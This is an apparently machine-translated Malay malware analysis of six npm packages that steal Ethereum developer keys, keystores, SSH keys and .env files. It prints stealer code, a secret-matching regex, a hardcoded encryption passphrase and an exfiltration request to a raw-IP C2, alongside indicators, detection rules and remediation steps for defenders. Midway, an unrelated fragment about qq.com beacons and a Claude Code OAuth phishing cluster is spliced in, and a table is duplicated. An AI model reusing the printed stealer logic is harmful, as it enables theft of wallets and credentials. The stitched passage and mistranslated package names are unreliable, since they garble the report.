TL; DR
Pada 6 Mei 2026, sebuah penerbit npm tunggal, namikazesarada010206, mengedarkan enam pakej berniat jahat yang menyasarkan ekosistem pembangun Ethereum, Solidity dan DeFi.
Pakej-pakej itu, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, dan web3-utils-core, menggunakan nama yang munasabah yang direka bentuk untuk kelihatan seperti pustaka pembantu untuk perkakasan Web3 yang popular.
Kesemua enam bungkusan mengandungi bahan yang sama telemetry.js fail. Fail tersebut adalah sama bait merentasi kluster, dengan SHA-256:
Perisian hasad tidak berfungsi semasa pemasangan. Tiada preinstall or postinstall cangkuk. Sebaliknya, ia diaktifkan apabila pakej diimport melalui require().
Perincian itu penting.
Implan menunggu sehingga pembangun benar-benar menggunakan pakej tersebut. Kemudian ia menyemak sama ada stesen kerja kelihatan seperti persekitaran pembangunan Ethereum/Solidity yang sebenar. Ia mencari kunci Alchemy atau Infura, kunci peribadi, mnemonik, kunci deployer atau direktori Foundry tempatan.
Jika hos sepadan, pencuri akan mengumpul kunci peribadi SSH, stor kunci dompet Foundry / Geth / Brownie, .env* fail dan pembolehubah persekitaran sensitif. Ia menyulitkan pakej dengan AES-256-GCM menggunakan frasa laluan berkod keras dan mengeluarkannya ke titik akhir IPv4 C2 mentah dengan pengesahan TLS dinyahdayakan.
Sistem Amaran Awal Perisian Hasad (MEW) Xygeni mengesahkan keenam-enam pakej sebagai berniat jahat. Bundel laporan penghapusan pendaftaran npm sedang menunggu kelulusan.
Kelompok: Enam Pakej, Satu Penerbit
Akaun penerbit namikazesarada010206 telah dipautkan ke alamat Gmail yang tidak disahkan namikazesarada010206@gmail.com.
Kempen itu muncul sebagai penerbitan satu hari pada 6 Mei 2026. Kesemua enam pakej telah diversikan sebagai 1.0.0, mempunyai sifar kebergantungan masa jalan, dan hanya menghantar tiga fail:
package.json index.js telemetry.js Mereka juga mengisytiharkan repositori sumber yang sama:
https://github.com/harunosakura030303-maker/evmchain-config Tiga pakej pertama telah ditangkap oleh pengimbas MEW pada penerbitan pertama. Tiga pakej yang selebihnya telah ditandai secara paksa selepas semakan penganalisis terhadap profil npm penerbit. Setelah bait yang sama telemetry.js telah disahkan merentasi kluster, ia ditutup sebagai berniat jahat berdasarkan konsistensi.
| Pakej | versi | npm Diterbitkan | Tiket MEW | Keputusan |
|---|---|---|---|---|
| teras-viem | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Niat Jahat |
| teras-viem-utils | 1.0.0 | 2026-05-06 | #51050 | Niat Jahat |
| utils teras-hardhat | 1.0.0 | 2026-05-06 | #51051 | Niat Jahat |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Berniat jahat, mengikut konsistensi |
| faundri-utils | 1.0.0 | 2026-05-06 | #51071 | Berniat jahat, mengikut konsistensi |
| teras-util-web3 | 1.0.0 | 2026-05-06 | #51070 | Berniat jahat, mengikut konsistensi |
Strategi penamaan adalah mudah tetapi berkesan.
Pakej-pakej ini tidak menyamar sebagai nama huluan yang tepat. Sebaliknya, ia menggunakan akhiran "utiliti" yang munasabah seperti -core, -utils, dan -utils-coreItu menjadikannya kelihatan seperti pustaka pendamping yang mungkin dijangkakan oleh pembangun untuk dilihat berhampiran perkakasan Web3.
| Pakej Berniat Jahat | Sasaran Sah |
|---|---|
| teras-viem | viem, klien Ethereum TypeScript yang popular |
| teras-viem-utils | viem |
| utils teras-hardhat | hardhat, persekitaran pembangunan Solidity arus perdana |
| evm-utils | Ruang nama perkakasan EVM generik |
| faundri-utils | faundri, rantai alat Soliditi |
| teras-util-web3 | web3-utils, pembantu Web3.js |
Ini adalah corak "pakej tambahan": bukan "Saya adalah pakej sebenar," tetapi "Saya kelihatan seperti pembantu yang munasabah di sekitar pakej sebenar."
Bagi pembangun DeFi yang bergerak pantas, itu sudah cukup untuk mewujudkan risiko.
Apa yang Berlaku Apabila Pakej Diimport
Rantaian serangan adalah kecil, disengajakan dan tertumpu pada persekitaran pembangunan kripto.
Tiada cangkuk pemasangan. Sebaliknya, setiap pakej termasuk index.js yang mengeksport fungsi stub dan kemudian memuatkan modul telemetri berniat jahat.
require('./telemetry').init(); Ini bermakna perisian hasad akan diaktifkan pada import pertama.
Itu berguna dari segi operasi untuk penyerang. Banyak pengimbas dan kotak pasir memberi tumpuan kepada tingkah laku masa pemasangan. Pakej ini menunggu sehingga ia benar-benar digunakan oleh pembangun, skrip binaan, suit ujian atau laluan masa jalan.
Pintu Pengaktifan: Hanya Api pada Stesen Kerja Pembangun Web3 Sebenar
Bahagian terpenting implan ialah pintu pengaktifan.
Perisian hasad menyemak pembolehubah persekitaran yang biasa ditemui pada mesin pembangun Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Ia juga menyemak sama ada Foundry nampaknya telah dipasang:
fs.existsSync(path.join(os.homedir(), '.foundry')) Jika kedua-dua syarat itu tidak benar, fungsi tersebut akan kembali dan tidak melakukan apa-apa.
Itu menjadikan pakej lebih senyap dalam persekitaran analisis generik. Kotak pasir tanpa Foundry, kekunci Alkimia, kekunci Infura, kekunci peribadi atau mnemonik mungkin melihat import yang kelihatan tidak berbahaya.
Pada hos yang sepadan, perisian hasad menunggu 60 hingga 90 saat sebelum pengumpulan:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Kelewatan ini mengurangkan korelasi yang jelas antara import dan penapisan. .unref() panggilan juga membolehkan proses hos keluar secara normal jika pakej diimport dalam skrip jangka pendek.
Ini bukanlah tingkah laku 'smash-and-grab' yang bising. Ia adalah pencuri sasaran yang direka untuk mengelakkan daripada dijalankan melainkan persekitaran pembangun berbaloi untuk dicuri.
Apa yang Dikumpul oleh Pencuri
Sebaik sahaja pintu pengaktifan lulus, perisian hasad akan dikumpulkan daripada sumber yang paling penting dalam pembangunan Web3: kunci peribadi, stor kunci dompet, kelayakan penggunaan, rahsia awan, token npm dan konfigurasi projek tempatan.
| Source | Apa yang Dikumpulkan |
|---|---|
| proses.env | Sebarang pembolehubah yang sepadan /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Fail yang mengandungi PRIVATE KEY atau BEGIN OPENSSH, termasuk kandungan fail penuh |
| ~/.faundri/kedai kunci/* | Fail stor kunci dompet faundri |
| ~/.ethereum/kedai kunci/* | Fail stor kunci dompet Geth |
| ~/.brownie/akaun/* | Fail stor kunci dompet Brownie |
| ${cwd}/.env | Kandungan fail penuh |
| ${cwd}/.env.local | Kandungan fail penuh |
| ${cwd}/.env.production | Kandungan fail penuh |
| ${cwd}/.env.pembangunan | Kandungan fail penuh |
| os.namahos() | Metadata hos |
| kripto.rawakUUID() | Pengecam mangsa/sesi |
| Tarikh.sekarang() | Cap masa pengumpulan |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Token ATTA adalah:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Kami belum dapat mengesahkan sama ada telemetri tersebut merupakan analitik pengendali sendiri atau saluran yang dimonetisasi secara berasingan. Token ATTA adalah sama dalam kedua-dua sampel yang kami periksa.
Kluster B: heibai
claude.hk OAuth Phishing + Rampasan URL ANTHROPIC_BASE
Sampel 1 April merupakan cabang kempen yang lebih kasar dan lebih awal.
heibai:2.1.88-claude.hk-4 diterbitkan oleh wuguoqiangvip28, akaun yang dibuat pada 7 Jun 2025. Pakej tersebut secara eksplisit mengubah versi dirinya terhadap yang sah 2.1.88 Pelepasan antropik.
Ia tidak mengganggu CA-cert MITM. Sebaliknya, ia berbohong kepada pengguna tentang titik akhir OAuth.
Tambahan berniat jahat di atas sumber Kod Claude yang bocor termasuk:
| Source | Apa yang Dikumpulkan |
|---|---|
| proses.env | Sebarang pembolehubah yang sepadan /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Fail yang mengandungi PRIVATE KEY atau BEGIN OPENSSH, termasuk kandungan fail penuh |
| ~/.faundri/kedai kunci/* | Fail stor kunci dompet faundri |
| ~/.ethereum/kedai kunci/* | Fail stor kunci dompet Geth |
| ~/.brownie/akaun/* | Fail stor kunci dompet Brownie |
| ${cwd}/.env | Kandungan fail penuh |
| ${cwd}/.env.local | Kandungan fail penuh |
| ${cwd}/.env.production | Kandungan fail penuh |
| ${cwd}/.env.pembangunan | Kandungan fail penuh |
| os.namahos() | Metadata hos |
| kripto.rawakUUID() | Pengecam mangsa/sesi |
| Tarikh.sekarang() | Cap masa pengumpulan |
Senarai sasaran adalah sangat spesifik. Ini bukanlah kecurian pelayar umum atau pengikisan kelayakan yang luas. Ia disasarkan kepada pembangun yang membina, menguji, menggunakan atau mengendalikan aplikasi Ethereum.
Kemasukan stor kunci Foundry, Geth dan Brownie amat penting. Fail-fail ini boleh mewakili akses langsung kepada dompet atau identiti penggunaan. Jika penyerang boleh memasangkannya dengan kata laluan, mnemonik atau rahsia persekitaran, mereka mungkin boleh memindahkan dana, menyamar sebagai penyebar atau menjejaskan operasi kontrak pintar.
Penyulitan Sebelum Penapisan Ekstra
Perisian hasad ini menyulitkan data yang dikumpul sebelum menghantarnya.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Frasa laluan berkod keras ialah:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Muatan akhir dibungkus sebagai JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Penyulitan tidak menjadikan perisian hasad lebih maju dengan sendirinya. Walau bagaimanapun, ia menjadikan pemeriksaan rangkaian lebih sukar. Pembela yang memerhatikan jalan keluar akan melihat muatan JSON, tetapi bukan kunci yang dicuri, fail dompet atau .env kandungan tanpa frasa laluan dan logik penyahsulitan berkod keras.
Pengekstrakan ke IPv4 C2 Mentah
Laluan penyusupan ekskresi dikodkan secara keras:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Malware menghantar data kepada:
https://76.13.37.80:8443/api/v1/telemetry Dua butiran menonjol.
Pertama, C2 ialah alamat IPv4 mentah dan bukannya domain. Ini menghapuskan keperluan untuk pendaftaran domain dan mengelakkan beberapa pengesanan berasaskan domain.
Kedua, pengesahan TLS dinyahdayakan dengan:
rejectUnauthorized: false Itu membolehkan perisian hasad menerima sebarang sijil, termasuk sijil yang ditandatangani sendiri. Dalam erti kata lain, penyerang mendapat pengangkutan yang disulitkan tanpa memerlukan sijil awam yang sah.
Tiada logik cuba semula dan tiada hos sandaran. Ralat ditelan secara senyap. Ini memastikan pakej senyap jika C2 berada di luar talian atau tidak dapat dicapai.
Mengapa Kempen Ini Penting
Kebanyakan pakej npm berniat jahat yang ditujukan kepada pembangun untuk mengejar kelayakan yang luas: token npm, kunci AWS, token GitHub atau .npmrc fail.
Kempen ini menyempitkan sasaran.
Ia mencari tanda-tanda bahawa mesin itu milik pembangun Ethereum atau Solidity. Kemudian ia menarik aset yang penting dalam persekitaran tersebut: stor kunci dompet, kunci peribadi, mnemonik, kunci penyerah, .env fail dan kekunci SSH.
Itu menjadikan kempen lebih berbahaya untuk pasukan Web3 berbanding pencuri npm generik.
Jangkitan yang berjaya boleh mendedahkan:
- Dompet pelaksanaan
- Kunci pentadbir kontrak pintar
- Kunci pembekal RPC
- Kelayakan penggunaan awan
- token penerbitan npm
- Akses SSH kepada infrastruktur pembangun atau binaan
- Rahsia projek disimpan dalam
.envfail - Stor kunci dompet untuk Foundry, Geth atau Brownie
Nama pakej juga menunjukkan kejuruteraan sosial yang jelas. Ia menyasarkan ekosistem pembangun Web3 melalui nama alat yang biasa: viem, hardhat, foundry, evm, dan web3.
Pelakon tidak perlu berkompromi dengan projek sebenar. Mereka hanya memerlukan pembangun untuk memasang apa yang kelihatan seperti pakej pendamping yang munasabah.
Petunjuk Kompromi dan Pengesanan
| Pakej dan Penerbit | |
|---|---|
| Bidang | nilai |
| penerbit npm | namikazesarada010206 |
| E-mel penerbit | namikazesarada010206@gmail.com |
| E-mel disahkan | Tidak |
| SCM disahkan | Tidak |
| Skor reputasi | 1.0 |
| Kami | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| versi | semua 1.0.0 |
| Repositori sumber | https://github.com/harunosakura030303-maker/evmchain-config |
| Disahkan berniat jahat | Semua enam pakej |
| rangkaian | |
|---|---|
| Jenis | nilai |
| Titik akhir C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| Pelabuhan C2 | 8443/tcp |
| Tingkah laku TLS | tolakTidak dibenarkan: palsu |
| Skema muatan | {"v":2,"iv": ,"d": "t": } |
| Fail dan Hash | |
|---|---|
| Jenis | nilai |
| telemetri.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Susun atur pakej | package.json, index.js, telemetri.js |
| Bilangan fail | 3 |
| Anggaran jumlah saiz | 3.4 KB |
Isyarat Pengaktifan
Malware menyemak pembolehubah persekitaran ini:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Ia juga memeriksa:
~/.foundry/ Laluan Hos yang Disasarkan
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Regex Koleksi
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Nota Pengesanan
Beberapa peraturan merangkumi kempen ini tanpa memerlukan analisis tingkah laku penuh.
Pertama, imbas fail kunci untuk enam nama pakej berniat jahat:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Mana-mana perlawanan dalam package-lock.json, yarn.lock, pnpm-lock.yaml, Atau node_modules sejarah harus dianggap sebagai peristiwa yang serius.
Kedua, pantau proses Node.js yang membaca laluan stor kunci dompet:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ini jarang sekali merupakan tingkah laku yang sah untuk pakej yang diimport sebagai kebergantungan pembantu. Ia amat mencurigakan apabila diikuti oleh aktiviti rangkaian keluar.
Ketiga, sekat atau beri amaran pada sambungan HTTPS kepada:
76.13.37.80:8443 Terutamanya apabila laluan permintaan ialah:
/api/v1/telemetry Keempat, cari pakej npm yang menggabungkan ciri-ciri ini:
- Penerbit baharu atau bereputasi rendah
- Akaun Gmail yang tidak disahkan
- Nama pakej bersebelahan Web3
- Tiada sejarah repositori yang bermakna
- Susun atur pakej kecil
index.jsyang memuatkan fail telemetri atau pembantu- Tiada kebergantungan masa jalan
- Koleksi pembolehubah persekitaran sensitif
- Akses stor kunci dompet
Corak ini lebih berguna daripada IOC tunggal kerana pakej seterusnya mungkin mengubah alamat IP tetapi mengekalkan logik penargetan yang sama.
Senarai Semak Respons Kompromi
Jika pembangun menggunakan salah satu daripada enam pakej dan persekitarannya sepadan dengan pintu pengaktifan, anggap stesen kerja tersebut sebagai telah dikompromi.
Ini termasuk mesin dengan Foundry yang dipasang, kunci Alchemy atau Infura dalam persekitaran, kunci peribadi, mnemonik atau kunci deployer.
Respons yang disyorkan:
- Putuskan sambungan hos daripada rangkaian.
- Memelihara
node_modules, fail kunci, sejarah cangkerang dan log berkaitan untuk forensik. - Putar setiap pasangan kekunci SSH di bawah
~/.ssh/. - Putar kunci dompet untuk setiap stor kunci di bawah
~/.foundry,~/.ethereum, dan~/.brownie. - Alihkan dana ke dompet baharu.
- Putar setiap rahsia yang tersimpan di dalamnya
.env*fail dalam repositori tempat pembangun bekerja. - Putar rahsia persekitaran yang sepadan dengan regex koleksi, termasuk kunci AWS, token npm, token penggunaan, kunci API, kunci peribadi, benih dan mnemonik.
- Aktiviti awan audit, npm, GitHub, penyedia RPC dan rantaian blok sejak pakej pertama kali dipasang.
- Imej semula stesen kerja sebelum digunakan semula.
Apa yang Perlu Dibawa oleh Pembela
Kempen ini menunjukkan bagaimana typosquatting npm berkembang di sekitar ekosistem pembangun bernilai tinggi.
Pelakon itu tidak memerlukan kegigihan. Mereka tidak memerlukan kekeliruan. Mereka bahkan tidak memerlukan pelaksanaan masa pemasangan.
Sebaliknya, mereka bergantung pada tiga perkara:
- Nama pakej Web3 yang munasabah
- Pengaktifan hanya pada mesin pembangunan kripto sebenar
- Kecurian langsung fail dan rahsia yang paling penting bagi pembangun Ethereum
Itu menjadikan kempen mudah terlepas pandang dalam imbasan meluas dan berbahaya apabila ia berada di persekitaran yang betul.
Bagi pasukan Web3, pengajarannya jelas: anggap nama kebergantungan sebagai sebahagian daripada model ancaman anda. Pakej yang kelihatan seperti pembantu yang tidak berbahaya masih boleh menjadi laluan terpendek untuk kompromi dompet.
Dilaporkan kepada pendaftaran npm. Kami akan mengemas kini siaran ini apabila akaun penerbit dan pakej dialih keluar.




